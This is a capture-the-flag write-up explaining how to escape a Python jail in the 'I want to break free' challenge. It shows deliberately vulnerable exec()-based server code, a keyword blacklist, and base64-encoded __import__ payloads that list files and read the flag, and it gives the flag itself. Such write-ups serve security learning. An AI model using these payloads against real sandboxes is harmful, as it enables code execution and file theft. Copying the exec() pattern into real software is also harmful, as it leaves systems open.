> For the complete documentation index, see [llms.txt](https://arne-ctf.gitbook.io/ctf/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://arne-ctf.gitbook.io/ctf/2021/killer-queen-ctf-2021/pwn-i-want-to-break-free.md).

# Pwn - I want to break free

204 solves | 205 points

## Description

I want to break free... from this Python jail.

## Downloads

{% file src="/files/O95SLhZ9JYtu2QOdRIPU" %}

## Solution

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FnguntqGwF2leHIcnB8i4%2Fimage.png?alt=media\&token=4c398417-df0f-4ce5-baa3-d1348b6da563)

This time we need to escape a python jail. We are provided the source code and server address so, the goal is likely to gain code execution on the server. Taking a look at the source code:

```python
#!/usr/bin/env python3

def server():
    message = """
    You are in jail. Can you escape?
"""
    print(message)
    while True:
        try:
            data = input("> ")
            safe = True
            for char in data:
                if not (ord(char)>=33 and ord(char)<=126):
                    safe = False
            with open("blacklist.txt","r") as f:
                badwords = f.readlines()
            for badword in badwords:
                if badword in data or data in badword:
                    safe = False
            if safe:
                print(exec(data))
            else:
                print("You used a bad word!")
        except Exception as e:
            print("Something went wrong.")
            print(e)
            exit()

if __name__ == "__main__":      
    server()
```

And the blacklist:

```
cat
grep
nano
import
eval
subprocess
input
sys
execfile
builtins
open
dict
exec
for
dir
file
input
write
while
echo
print
int
os
```

The code is very simple and given the limited attack surface area, we can immediately tell that vulnerable code is in the `exec` command. The first thing we want to do is to try to use the `import` command as that would allow us to do many things. However, it didn't work because the `import` command is blacklisted. A quick search of python sandbox escape payloads, gives us the `__import__` keyword and it bypassed the blacklist!

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FXt01IudcIXm3jhLPsf89%2Fimage.png?alt=media\&token=bee23ea8-e846-46b2-872f-6020cddfdd67)

Hmm, that's weird though. Shouldn't line 18 of the source code prevent this since `import` is in the `__import__` string? Let's print out the blacklist array at line 17 by adding `print(badwords)`.

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FDuJ12TjA477v7NvxCDWS%2Fimage.png?alt=media\&token=dc54dd02-50dc-4f9a-8011-02da49086575)

Ahh, now it all makes sense. The python file `readlines()` method not only read in the blacklisted words but also the newline character. Since `__import__` in not in the `import\n` string and `import\n` string is not in the `__import__` string, the sanitization is bypassed. Afterwards, gaining access is trivial. There are probably many ways to read the flag but during the CTF, we used python's default base64 library to encode and decode our payload. The first command we sent was to list the server's directory:&#x20;

```
# Actual encoded b64 payload: print(__import__('os').listdir())
__import__('base64').b64decode('cHJpbnQoX19pbXBvcnRfXygnb3MnKS5saXN0ZGlyKCkp')
```

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2Fi26Pw9dR7QLIOQBg9oIN%2Fimage.png?alt=media\&token=5b2a55df-6145-454d-96ef-96fc2810d57e)

There is a suspicious text file with a really long file name. Our next payload is to read that file:

```
# Actual encoded b64 payload: print(open("cf7728be7980fd770ce03d9d937d6d4087310f02db7fcba6ebbad38bd641ba19.txt").read())
__import__('base64').b64decode('cHJpbnQob3BlbigiY2Y3NzI4YmU3OTgwZmQ3NzBjZTAzZDlkOTM3ZDZkNDA4NzMxMGYwMmRiN2ZjYmE2ZWJiYWQzOGJkNjQxYmExOS50eHQiKS5yZWFkKCkp')
```

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2Fa7tGchjmKd9koEnujemt%2Fimage.png?alt=media\&token=4303fe88-d5d6-4b4c-8372-c00e1e90f51f)

Flag: `kqctf{0h_h0w_1_w4n7_70_br34k_fr33_e73nfk1788234896a174nc}`
